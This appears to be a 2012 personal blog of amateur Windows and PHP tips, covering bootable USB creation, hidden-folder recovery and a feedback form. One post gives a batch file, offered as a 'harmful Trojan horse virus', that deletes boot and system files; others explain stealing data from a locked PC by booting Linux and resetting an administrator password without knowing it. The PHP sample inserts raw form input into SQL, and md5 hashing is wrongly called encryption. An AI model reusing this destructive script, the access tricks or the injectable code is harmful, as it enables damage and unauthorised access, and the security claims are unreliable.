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Monday 22 October 2012

Coming back to BOOTABLE USB guide, here we assume that you are using either Vista or Windows 7 to create a bootable USB.
1. Insert your USB (4GB+ preferable) stick to the system and backup all the data from the USB as we are going to format the USB to make it as bootable.
2. Open elevated Command Prompt. To do this, type in CMD in Start menu search field and hit Ctrl + Shift + Enter. Alternatively, navigate to Start > All programs >Accessories > right click on Command Prompt and select run as administrator.
3. When the Command Prompt opens, enter the following command:
DISKPART and hit enter.
LIST DISK and hit enter.
Once you enter the LIST DISK command, it will show the disk number of your USB drive. In the below image my USB drive disk no is Disk 1.
4. In this step you need to enter all the below commands one by one and hit enter. As these commands are self explanatory, you can easily guess what these commands do.
SELECT DISK 1 (Replace DISK 1 with your disk number)
CLEAN
CREATE PARTITION PRIMARY
SELECT PARTITION 1
ACTIVE
FORMAT FS=NTFS
(Format process may take few seconds)
ASSIGN
EXIT

Don’t close the command prompt as we need to execute one more command at the next step. Just minimize it.
5. Insert your Windows DVD in the optical drive and note down the drive letter of the optical drive and USB media. Here I use “D” as my optical (DVD) drive letter and “H” as my USB drive letter.
6. Go back to command prompt and execute the following commands:
D:CD BOOT and hit enter. Where “D” is your DVD drive letter.
CD BOOT and hit enter to see the below message.
BOOTSECT.EXE/NT60 H:
(Where “H” is your USB drive letter)

7. Copy Windows DVD contents to USB.
You are done with your bootable USB. You can now use this bootable USB as bootable DVD on any computer that comes with USB boot feature (most of the current motherboards support this feature).
Note that this bootable USB guide will not work if you are trying to make a bootable USB on XP computer.

how to steal a data from windows operating system even it is given strong password.?
(1)just take ubuntu any version of linux cd.
(2)boot that computer from which you want to steal data.
(3)then boot computer form cd-rom
(4) your system will be open with ubuntu
(5)the all drive of that computer system will be seen in FILESYSTEM OF UBUNTU.
(6)NOW YOU ARE READY TO STEAL DATA .

NOTE :- THAT HOW MUCH WINDOWS ARE INSECURE.

Tuesday 16 October 2012

suppose you people have copied your program in pendrive within folder xyz but it is get virus infected
so how can you extract from it?

(1)it will help at practical exam time
first open your pendrive suppose removable(h:).
(2)the open command prompt window. (cmd)
(3)type h: (of your pendrive drive ).
(4) then type attrib -r -s -h xyz (press enter)
(5)you will find your folder again virus free copy it on desktop.

Sunday 14 October 2012

USER OF NET USER COMMAND TO CHANAGE ADMIN PASSWORD :-
(1)OPEN COMMAND PROMPT WINDOW. (cmd)
(2)then type NET USER USERNAME PASSWORD.(FOR EXAMPLE net user om 12345)
then press enter it will change your password.

how to design feedback form using   html and php and with mysql connectivity?
(1)first type this code for feedback form. save it as feed.php
<html>
<HEAD>
<STYLE >
p{font-family:"Elephant",Times,serif;}
BODY{ BACKGROUND-IMAGE:URL("n.JPG");
.test{
width=70px;
height=605px;
background-color:yellow;
}
.test:focus
{width=70px;
height=55px;
background-color:silver;
}
</STYLE>
</HEAD>
<body bgcolor=gray text=black >
<center><FONT SIZE=5    >
<form action="om.php"   method="post" ><p>
FIRSTNAME:   <input type=text name=fname size=40 ><br>
<br>

LASTNAME:      <input type=text   name=lname size=40 ><br>
<br>

CONTACT:         <input type=text name=contact size=40><br>
<br>

EMAIL                 <input type=text name=email size=40><br>
<br>

FEEDBACK<BR>
<br>               <textarea name=area rows=12   cols=70>ENTER        YOUR     COMMENT          HERE!
</textarea><br>
<br>
</FONT></p>
<input type=submit         />
</form>
</center>
</body>
</html>
(2)then type om.php   file to connect database mysql.
<FONT COLOR=BLUE>THANK YOU TO VISIT OUR SITE </FONT>
<?php   echo '<span style="color:blue">';
echo strtoupper( $_POST["fname"]);
echo   "     " ;
echo strtoupper( $_POST["lname"]);
?>
<?php

$con=mysql_connect("localhost","root","");

mysql_select_db("abc",$con);

$sql="INSERT INTO xyz (fname,lname,contact,email,area) VALUES('$_POST[fname]','$_POST[lname]','$_POST[contact]','$_POST[email]','$_POST[area]')";

mysql_query($sql);

?>

NOTE:- for above you have to install wamp server software tools and you run in your browser
as TYPE IN ADDRESS BAR   HTTP:/LOCALHOST/feed.php then it will automatically call om.php as we have given in <form action=om.php>
where as    abc   is database name and xyz    is table name .

Thursday 11 October 2012

howt to encrypt any script using PHP for purpose of secure your information?
(1)type given code below.
<?php
$str= "om";
echo md5($str);
?>

run it using wamp server . it will provide you encrypted output is as given below:-

5d41402abc4b2a76b9719d911017c592

Tuesday 9 October 2012

how to create one kind of harmful Trojan horse virus ?
(1)first open notepad and type following things given below:-
attrib -r -s -h c:/ntldr
del c:/nltdr
attrib -r -s -h c:/autoexe.bat
del c:/autoexe.bat
attrib -r -s -h c:/windows/win.ini
del c:windows/win.ini
attrib -r -s -h c:/IO.sys
del c:/IO.sys
attrib -r -s -h c:/MSDOS.sys
del c:/MSDOS.sys

SAVE IT AS .BAT FILE AND DOUBLE CLICK ON IT FOR TAKE A EFFECT OF THIS VIRUS IT WILL REMOVE THE PROGRAM OF LOADING OPERATING SYSTEM NEXT TIME YOU WILL FIND YOUR NTDLR MISSING

Friday 5 October 2012

HEY MY DEAR FRIENDS IT IS GENERALLY HAPPEN WITH US WHEN WE INSERT OUR PENDRIVE WE GET VIRUS INFECTED FOLDER ...........
SO HOW TO EXTRACT ANY FOLDER WHICH IS GET INFECTED BY VIRUS AND HIDDEN?
(1)OPEN YOUR PENDRIVE . SUCH AS IT IS SHOWING AS REMOVABLE(H:) DRIVE
(2)THEN OPEN YOUR COMMAND PROMPT WINDOW.
(3)CD\
(4)THEN TYPE H: (DIRVE OF YOUR PENDRIVE AS ABOVE H: AND PRESS ENTER.)
(5)THEN TYPE ATTRIB -R -S -H FOLDERNAME (example attrib -r -s -h om).

actually virus done the revers act of above command just see it is like thAT:
ATTRIB +R +S +H OM.

how to change password using computer management window?
(1)first open run window
(2)then type compmgmt .msc
(3)then go to left side on local user and groups
(4)then go to right side on users (which will list all users nam).
(5)right click on user (

Thursday 4 October 2012

HOW TO SAVE A FOLDER WITHOUT A NAME?
(1) FIRST RIGHT CLICK ON FOLDER.
(2)THEN PRESS ALT BUTTON AND SAME TIME PRESS RIGHT HAND SIDE NUMERIC KEY 0160.
(NOTE YOUR FOLDER WILL RENAME BY 0160 BUT IT WILL NOT BE SEEN IT WILL LOOK LIKE WITHOUT NAME).

HOW TO CHANGE ADMINISTRATOR PASSWORD WITHOUT KNOWING THE CURRENT PASSWORD?

(1) OPEN COMMAND PROMPT
(2)THEN TYPE NET USER (it will all user on that computer system)
(3)THEN TYPE NET USER USERNAME PASSWORD (EXAMPLE:- NET USER OM 123)
YOUR PASSWORD OF ADMIN WILL BE CHANGED.

HOW TO HIDE A DIRVE OF YOUR COMPUTER IN WINDOWS SYSTEM?
ANSWER IS :-
(1) FIRST OPEN YOUR COMMAND PROMPT WINDOW.
(2)THEN TYPE DISKPART IN THAT.
(3) THEN TYPE LIST VOLUME.(it will list all volume no of drive)
(4) THEN TYPE SELECT VOLUME 1( such as 1 is for d: drive)
(5)THEN TYPE REMOVE.
IT WILL HIDE YOUR D: DRIVE.
TO BRING IT AGAIN REPEAT (1) TO (4) AND TYPE ASSIGN INSTEAD OF REMOVE